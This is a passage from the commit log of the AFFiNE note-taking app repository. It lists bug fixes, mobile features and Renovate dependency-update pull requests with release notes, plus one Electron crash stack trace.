### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/websockets)</summary>

### [`v10.4.9`](https://redirect.github.com/nestjs/nest/compare/v10.4.8...416830c3924b37ec354d4e15c14119519e389afc)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-26 10:00:20 +00:00
Boshen
c349a24e95 chore: upgrade oxlint to v0.13.2 (#8891)
Co-authored-by: LongYinan <lynweklm@gmail.com>
2024-11-26 17:56:35 +08:00
pengx17
d87a6f7068 fix(core): multi sub menu layer handling (#8916)
fix AF-1800, AF-1801

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/T2klNLEk0wxLh4NRDzhk/7523df2b-2326-4878-b37a-d16e4275858d.mp4">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/T2klNLEk0wxLh4NRDzhk/7523df2b-2326-4878-b37a-d16e4275858d.mp4">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/7523df2b-2326-4878-b37a-d16e4275858d.mp4">20241126-0806-30.0904958.mp4</video>
2024-11-26 08:39:09 +00:00
JimmFly
e12d5f8750 fix(core): multiple settings dialog should not appear when click user plan button repeatedly (#8924) 2024-11-26 05:49:12 +00:00
JimmFly
31c806ef7e fix(core): handle the situation where the app cannot be opened after logging in (#8915)
Added buttons to open the web version of AFFiNE and download the latest client to handle the situation where the application cannot be opened after logging in.

![CleanShot 2024-11-25 at 17 19 37@2x](https://github.com/user-attachments/assets/fd4e00fa-61a2-45ac-9bbc-fc4e4a8abc4e)
2024-11-25 11:04:20 +00:00
renovate
70633d0d16 chore: bump up @blocksuite/affine version to v0.18.0 (#8899)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.17.33` -> `0.18.0`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.17.33/0.18.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.17.33/0.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.17.33/0.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.18.0`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0180)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.17.33...v0.18.0)

##### Minor Changes

-   [`9daa1f3`](https://redirect.github.com/toeverything/blocksuite/commit/9daa1f3): ## Feat

    -   feat(blocks): markdown adapter reference serialization and deserialization ([#&#8203;8782](https://redirect.github.com/toeverything/blocksuite/issues/8782))
    -   feat(blocks): add lazy loading to image and iframe ([#&#8203;8773](https://redirect.github.com/toeverything/blocksuite/issues/8773))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-25 08:58:22 +00:00
liuyi
0a20332674 fix(core): wrong app scheme fallback (#8914) 2024-11-25 08:47:22 +00:00
CatsJuice
7c846c4434 fix(core): cannot view pricing page if not logged in (#8907)
Due to lifetime plan card show `Upgrade` button that require accout, should show `Login` instead
2024-11-25 07:32:17 +00:00
JimmFly
4ce8a180aa fix(core): image block size limits were not enforced as expected (#8908) 2024-11-25 07:15:14 +00:00
doodlewind
08ff619d47 chore(cli): enable accessing dev server by host name (#8912)
This PR is particularly useful for debugging mobile app (and any other personal devices for testing) via [Tailscale](https://tailscale.com/), since it allows accessing a stable hostname on phone, instead of typing in an unstable IP address.

Before:

![image](https://github.com/user-attachments/assets/6ca9edd5-11b1-449b-bf8d-0423cb8a53fe)

After:

![image](https://github.com/user-attachments/assets/9df7710f-f662-4a3c-83c4-cf5f28d7c64f)
2024-11-25 06:58:14 +00:00
pengx17
f6eb84a8e0 fix(mobile): setting item popover cannot be closed (#8910)
fix AF-1798
2024-11-25 05:54:48 +00:00
CatsJuice
b369ee0cca feat(mobile): disable swipe back gesture when there is no back in header (#8876)
close AF-1663, AF-1756

- new global `ModalConfigContext`
- new logic to judge whether inside modal
- render `✕` for PageHeader back if inside modal
- only enable `NavigationGesture` when there is `<` in PageHeader
2024-11-25 03:12:21 +00:00
CatsJuice
922db5ced4 feat(mobile): editor mode switch (#8896) 2024-11-25 02:54:51 +00:00
CatsJuice
5994814db8 feat(mobile): sticky journal date-picker, auto fold when scroll (#8885) 2024-11-22 10:06:42 +00:00
liuyi
ad10690043 fix(server): ignore invalid subscription variant for subscriptinos query as well (#8894) 2024-11-22 13:50:21 +08:00
liuyi
b5fed7b01d fix(server): ignore invalid subscription variant (#8892) 2024-11-22 03:57:38 +00:00
forehalo
cd30e1a54b feat(nbstore): add idb implementation (#8809) 2024-11-22 03:13:05 +00:00
forehalo
64656d198c feat(nbstore): adapt op pattern (#8808) 2024-11-22 03:13:05 +00:00
forehalo
4125038ff8 feat(nbstore): init (#7639)
TODO

- [x] basic
- [x] storages
- [x] producer/consumer
- [x] operation pattern
- [x] events
- [x] worker
- [x] readme
- [x] peer dependencies
2024-11-22 03:13:04 +00:00
EYHN
76eabf644c fix(core): fix auth session not revalidating as expected (#8886) 2024-11-21 09:57:25 +00:00
EYHN
a4c749b882 refactor(core): independent app fallback for mobile (#8884) 2024-11-21 09:38:01 +00:00
akumatus
c6ac426b4c fix: ai ppt preview with toolbar widget (#8882)
Fix issue [AF-1716](https://linear.app/affine-design/issue/AF-1716).
2024-11-21 06:56:26 +00:00
CatsJuice
a6232849e3 feat(mobile): doc property journal duplicated action (#8820) 2024-11-21 06:40:22 +00:00
CatsJuice
c408d73257 fix(mobile): fix home header setting icon (#8859) 2024-11-21 02:05:26 +00:00
renovate
2624e26d72 chore: bump up oxlint version to v0.12.0 (#8875)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.11.1` -> `0.12.0`](https://renovatebot.com/diffs/npm/oxlint/0.11.1/0.12.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.11.1/0.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.11.1/0.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.12.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#0120---2024-11-20)

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.11.1...oxlint_v0.12.0)

##### Features

-   [`2268a0e`](https://redirect.github.com/oxc-project/oxc/commit/2268a0e) linter: Support `overrides` config field ([#&#8203;6974](https://redirect.github.com/oxc-project/oxc/issues/6974)) (DonIsaac)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-20 12:07:35 +00:00
liuyi
8b066a4b39 fix(core): auth events are not continuous (#8874) 2024-11-20 16:25:37 +08:00
renovate[bot]
cc0462e7fe chore: bump up @blocksuite/affine version to v0.17.33 (#8873)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-11-20 07:26:43 +00:00
Chen
b87c3840f3 chore(core): remove snapshot import export feature flag (#8865) 2024-11-20 07:06:20 +00:00
pengx17
47243247b9 fix(electron): respect locale for spellchecker (#8844)
may fix #8837.
fix AF-1712

MacOS automatically do spellcheck based on given text. This only works for Win/Linux.
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/25058395-d70a-42a4-b869-c69fa71bc418.png)
2024-11-20 06:44:36 +00:00
Peng Xiao
8689465e00 fix(electron): potential crash on quit (#8855) 2024-11-20 14:44:06 +08:00
akumatus
b0ca3c6d58 fix(core): linked doc named input box has excessive desire to select all (#8861)
Fix issue [AF-1706](https://linear.app/affine-design/issue/AF-1706).
2024-11-20 06:25:36 +00:00
renovate[bot]
2857568f03 chore: bump up @blocksuite/icons version to v2.1.70 (#8866)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-11-20 14:24:31 +08:00
Cats Juice
2e94944d2b fix(core): ai subscribe button is not show in ai usage page (#8869) 2024-11-20 14:23:30 +08:00
Peng Xiao
afa0e31ecd feat(core): open in app cmd (#8870) 2024-11-20 14:23:18 +08:00
CatsJuice
3390fbc5db feat(mobile): hide tab when virtual-keyboard show up (#8862) 2024-11-20 01:33:19 +00:00
CatsJuice
cd2c2b7fdb feat(ios): live reload script and docs (#8863) 2024-11-20 01:33:18 +00:00
pengx17
3f5dadb4f5 fix(core): doc info event tracking issues (#8868)
fix AF-1769
2024-11-20 01:15:51 +00:00
Peng Xiao
401106203c fix(core): info modal style issue (#8842) 2024-11-18 23:36:31 +08:00
Peng Xiao
e200e0a1a0 fix(core): peek view animation (#8858) 2024-11-18 23:31:10 +08:00
Peng Xiao
56a3f054f9 fix(core): emoji doc name rendering on windows (#8857) 2024-11-18 23:28:54 +08:00
Cats Juice
abaea9e605 fix(core): cloud pricing plan cards can not scroll (#8851) 2024-11-18 23:28:39 +08:00
darkskygit
1c2b23b160 feat(native): split package (#8853) 2024-11-18 13:18:16 +00:00
CatsJuice
9642566086 fix(core): make right-sidebar scrollable (#8830) 2024-11-18 08:47:12 +00:00
CatsJuice
bd7c422c46 feat(mobile): impl masonry docs with flex and predict card height (#8849)
previous `columns` implementation has some limitation:
- the card order is not as expected
- there may be strange shadow on top
2024-11-18 08:30:08 +00:00
renovate
bf093710b7 chore: bump up nestjs to v10.4.8 (#8843)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.7` -> `10.4.8`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.7/10.4.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.7` -> `10.4.8`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.7/10.4.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.7` -> `10.4.8`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.7/10.4.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.7` -> `10.4.8`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.7/10.4.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.7` -> `10.4.8`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.7/10.4.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.7` -> `10.4.8`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.7/10.4.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.7/10.4.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.8`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.8)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.7...v10.4.8)

##### v10.4.8 (2024-11-15)

##### Bug fixes

-   `microservices`
    -   [#&#8203;14059](https://redirect.github.com/nestjs/nest/pull/14059) fix(microservices): include discarded rmq client options ([@&#8203;v-sum](https://redirect.github.com/v-sum))
    -   [#&#8203;14132](https://redirect.github.com/nestjs/nest/pull/14132) fix(microservices): no messages emitted with mqtt when qos set ([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
-   `core`
    -   [#&#8203;14133](https://redirect.github.com/nestjs/nest/pull/14133) fix(core): flaky durable provider, remove instance on error  ([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))

##### Enhancements

-   `core`
    -   [#&#8203;14143](https://redirect.github.com/nestjs/nest/pull/14143) feat(core): expose listening stream from http adapter host ([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
    -   [#&#8203;14139](https://redirect.github.com/nestjs/nest/pull/14139) chore(core): defer application shutdown until init finishes ([@&#8203;mksony](https://redirect.github.com/mksony))

##### Committers: 3

-   Kamil Mysliwiec ([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
-   Max ([@&#8203;mksony](https://redirect.github.com/mksony))
-   Vasile Sumanschi ([@&#8203;v-sum](https://redirect.github.com/v-sum))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMS41IiwidXBkYXRlZEluVmVyIjoiMzkuMTEuNSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-18 05:14:06 +00:00
CatsJuice
ffa4d5422d fix(mobile): use mobile app-fallback in app-container (#8804)
close AF-1633
2024-11-18 02:31:16 +00:00
Brooooooklyn
a97ee60502 test(server): fix fakerjs deprecated warning (#8834) 2024-11-15 14:11:57 +00:00
liuyi
84cfcb193f fix(server): should not enable experimental mobile version in selfhost (#8840) 2024-11-15 17:47:34 +08:00
CatsJuice
1f71e87460 fix(mobile): correct search & home-header bg color (#8835) 2024-11-15 08:19:15 +00:00
forehalo
54c51225ed fix(core): wrong title field from editor container proxy (#8826)
fix AF-1689
2024-11-15 06:02:41 +00:00
CatsJuice
5fade7aaf5 fix(mobile): correct doc card title display (#8836) 2024-11-15 04:36:24 +00:00
pengx17
df99e2ca97 fix(electron): potential crash on quit (#8829)
fix AF-1696

Related log:
```
Thread 0 Crashed:: CrBrowserMain Dispatch queue: com.apple.main-thread
0   Electron Framework            	       0x10c3bb09c electron::MessagePort::Close()
1   Electron Framework            	       0x10c3bcb78 gin::internal::Dispatcher<void (electron::MessagePort*)>::DispatchToCallbackImpl(gin::Arguments*)
2   Electron Framework            	       0x10c3bc984 gin::internal::Dispatcher<void (electron::MessagePort*)>::DispatchToCallback(v8::FunctionCallbackInfo<v8::Value> const&)
3   ???                           	       0x147e0f58c ???
4   ???                           	       0x147e0d45c ???
5   ???                           	       0x147e0d45c ???
6   ???                           	       0x147e0d45c ???
7   ???                           	       0x1401743b8 ???
8   ???                           	       0x147e0b088 ???
9   ???                           	       0x147e0acd4 ???
10  Electron Framework            	       0x10d657578 v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*)
11  Electron Framework            	       0x10d53e478 v8::Function::Call(v8::Isolate*, v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*)
12  Electron Framework            	       0x11337ad34 node::InternalMakeCallback(node::Environment*, v8::Local<v8::Object>, v8::Local<v8::Object>, v8::Local<v8::Function>, int, v8::Local<v8::Value>*, node::async_context)
13  Electron Framework            	       0x11337b0b0 node::MakeCallback(v8::Isolate*, v8::Local<v8::Object>, v8::Local<v8::Function>, int, v8::Local<v8::Value>*, node::async_context)
14  Electron Framework            	       0x10c46d9dc gin_helper::internal::CallMethodWithArgs(v8::Isolate*, v8::Local<v8::Object>, char const*, base::span<v8::Local<v8::Value>, 18446744073709551615ul, v8::Local<v8::Value>*>)
15  Electron Framework            	       0x10c3833b0 bool gin_helper::EventEmitterMixin<electron::api::WebContents>::Emit<>(std::__Cr::basic_string_view<char, std::__Cr::char_traits<char>>)
16  Electron Framework            	       0x10c38324c electron::api::WebContents::WebContentsDestroyed()
17  Electron Framework            	       0x10ebc2ee8 void content::WebContentsImpl::WebContentsObserverList::NotifyObservers<void (content::WebContentsObserver::*)()>(void (content::WebContentsObserver::*)())
18  Electron Framework            	       0x10ebc229c content::WebContentsImpl::~WebContentsImpl()
19  Electron Framework            	       0x10ebc32b0 content::WebContentsImpl::~WebContentsImpl()
20  Electron Framework            	       0x10c4212dc electron::InspectableWebContents::~InspectableWebContents()
21  Electron Framework            	       0x10c4213ac electron::InspectableWebContents::~InspectableWebContents()
22  Electron Framework            	       0x10c382ffc electron::api::WebContents::~WebContents()
23  Electron Framework            	       0x10c383498 non-virtual thunk to electron::api::WebContents::~WebContents()
24  Electron Framework            	       0x10c46cb80 gin_helper::CleanedUpAtExit::DoCleanup()
25  Electron Framework            	       0x10c3ec994 electron::JavascriptEnvironment::DestroyMicrotasksRunner()
26  Electron Framework            	       0x10c3d2828 electron::ElectronBrowserMainParts::PostMainMessageLoopRun()
27  Electron Framework            	       0x10e663458 content::BrowserMainLoop::ShutdownThreadsAndCleanUp()
28  Electron Framework            	       0x10e664a80 content::BrowserMainRunnerImpl::Shutdown()
29  Electron Framework            	       0x10e661098 content::BrowserMain(content::MainFunctionParams)
30  Electron Framework            	       0x10c6339a4 content::RunBrowserProcessMain(content::MainFunctionParams, content::ContentMainDelegate*)
31  Electron Framework            	       0x10c634968 content::ContentMainRunnerImpl::RunBrowser(content::MainFunctionParams, bool)
32  Electron Framework            	       0x10c6347e8 content::ContentMainRunnerImpl::Run()
33  Electron Framework            	       0x10c633208 content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*)
34  Electron Framework            	       0x10c6332f0 content::ContentMain(content::ContentMainParams)
35  Electron Framework            	       0x10c2e98c0 ElectronMain
36  dyld                          	       0x18b5a8274 start
```
2024-11-15 02:58:19 +00:00
renovate
4610f1e934 chore: bump up slackapi/slack-github-action action to v2 (#8833)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [slackapi/slack-github-action](https://redirect.github.com/slackapi/slack-github-action) | action | major | `v1.27.0` -> `v2.0.0` |

---

### Release Notes

<details>
<summary>slackapi/slack-github-action (slackapi/slack-github-action)</summary>

### [`v2.0.0`](https://redirect.github.com/slackapi/slack-github-action/compare/v1.27.1...v2.0.0)

[Compare Source](https://redirect.github.com/slackapi/slack-github-action/compare/v1.27.1...v2.0.0)

### [`v1.27.1`](https://redirect.github.com/slackapi/slack-github-action/releases/tag/v1.27.1): Slack Send V1.27.1

[Compare Source](https://redirect.github.com/slackapi/slack-github-action/compare/v1.27.0...v1.27.1)

##### What's changed

This release tags multiple updates to dependencies and a clarification in documentation 📚

No changes are needed to update from `slackapi/slack-github-action@v1.27.0` - other than bumping the version - but ongoing development is now happening on version `@v2` and `@v1` is no longer planning to receive significant updates after this.

Please stay tuned for upcoming changes, and may all of your workflows run well ❤️

##### 📚 Documentation

-   docs(fix): reference octokit context and github event webhook payloads in variables in [https://github.com/slackapi/slack-github-action/pull/348](https://redirect.github.com/slackapi/slack-github-action/pull/348) - thanks [@&#8203;zimeg](https://redirect.github.com/zimeg)!

##### 🧪 Maintenance

-   ci: include the slack health score as part of ci tests in [https://github.com/slackapi/slack-github-action/pull/346](https://redirect.github.com/slackapi/slack-github-action/pull/346) - thanks [@&#8203;zimeg](https://redirect.github.com/zimeg)!

##### 📦 Dependencies

-   build(deps): bump axios from 1.7.5 to 1.7.7 in [https://github.com/slackapi/slack-github-action/pull/334](https://redirect.github.com/slackapi/slack-github-action/pull/334) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps-dev): bump mocha from 10.7.0 to 10.7.3 in [https://github.com/slackapi/slack-github-action/pull/335](https://redirect.github.com/slackapi/slack-github-action/pull/335) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps-dev): bump eslint-plugin-jsdoc from 48.10.2 to 50.2.2 in [https://github.com/slackapi/slack-github-action/pull/336](https://redirect.github.com/slackapi/slack-github-action/pull/336) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps): bump [@&#8203;slack/web-api](https://redirect.github.com/slack/web-api) from 7.3.4 to 7.5.0 in [https://github.com/slackapi/slack-github-action/pull/339](https://redirect.github.com/slackapi/slack-github-action/pull/339) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps-dev): bump eslint-plugin-import from 2.29.1 to 2.30.0 in [https://github.com/slackapi/slack-github-action/pull/341](https://redirect.github.com/slackapi/slack-github-action/pull/341) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps-dev): bump eslint-plugin-jsdoc from 50.2.2 to 50.3.1 in [https://github.com/slackapi/slack-github-action/pull/344](https://redirect.github.com/slackapi/slack-github-action/pull/344) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps-dev): bump nyc from 17.0.0 to 17.1.0 in [https://github.com/slackapi/slack-github-action/pull/342](https://redirect.github.com/slackapi/slack-github-action/pull/342) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps-dev): bump sinon from 18.0.0 to 19.0.2 in [https://github.com/slackapi/slack-github-action/pull/343](https://redirect.github.com/slackapi/slack-github-action/pull/343) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps-dev): bump mocha from 10.7.3 to 10.8.2 in [https://github.com/slackapi/slack-github-action/pull/350](https://redirect.github.com/slackapi/slack-github-action/pull/350) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps): bump [@&#8203;slack/web-api](https://redirect.github.com/slack/web-api) from 7.5.0 to 7.7.0 in [https://github.com/slackapi/slack-github-action/pull/351](https://redirect.github.com/slackapi/slack-github-action/pull/351) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps-dev): bump eslint-plugin-import from 2.30.0 to 2.31.0 in [https://github.com/slackapi/slack-github-action/pull/352](https://redirect.github.com/slackapi/slack-github-action/pull/352) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
